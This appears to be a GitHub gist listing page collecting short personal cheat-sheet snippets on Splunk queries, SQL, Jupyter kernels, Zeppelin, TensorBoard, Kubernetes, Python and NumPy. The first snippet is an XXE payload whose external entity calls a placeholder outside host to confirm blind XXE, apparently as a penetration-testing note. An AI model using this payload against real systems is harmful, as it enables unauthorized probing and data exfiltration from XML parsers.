This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-------------------------------------------------------------- | |
Vanilla, used to verify outbound xxe or blind xxe | |
-------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
index="iptv_sol_cdn_ats" | stats count by _raw | |
index="staging" NOT name="*" sourcetype=DownloadSessionEvent | af classfield=status | |
index=iptv_* index !=*cdn* | |
| eval diff= (_indextime - _time)/1000 | |
| bin diff bins=20 | |
| eval indextime=strftime(_indextime,"%Y-%m-%d %H:%M:%S") | |
|eval capturetime=strftime(_time,"%Y-%m-%d %H:%M:%S") | |
| stats count by index diff |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Basic Queries | |
-- lter your columns | |
SELECT col1, col2, col3, ... FROM table1 -- lter the rows | |
WHERE col4 = 1 AND col5 = 2 -- aggregate the data | |
GROUP by ... | |
-- limit aggregated data | |
HAVING count(*) > 1 -- order of the results | |
ORDER BY col2 | |
Useful keywords for SELECTS: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
http://sqlitebrowser.org/ | |
import sqlite3 | |
from sqlite3 import Error | |
pip install bash_kernel | |
python -m bash_kernel.install | |
python setup.py install | |
python -m sqlite3_kernel.install |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
http://localhost:8080/#/ | |
$ bin/zeppelin-daemon.sh start | |
$ bin/zeppelin-daemon.sh stop |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#view the dashboard | |
tensorboard --logdir=. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#https://ehmatthes.github.io/pcc/cheatsheets/README.html | |
#$ python --version | |
name = input("What's your name? ") | |
print("Hello, " + name + "!") | |
age = input("How old are you? ") | |
age = int(age) | |
pi = input("What's the value of pi? ") | |
pi = float(pi) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Kubernetes | |
# Can run in bear metal or cloud. | |
# Amazon EKS | |
# | |
#Minikube for locahost developer | |
#Deployments > jobs > services | |
#Labels, selectors, and namespaces | |
#Controllers > Nodes > Pods > containers > docker |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import numpy as np | |
np.arange(1,5) | |
np.linspace(1,5,4) | |
np.zeros(3) | |
np.ones(3) | |
np.random.randn(1000) | |
arr = np.array([1,2,3]) | |
arr | |
len(arr) |
NewerOlder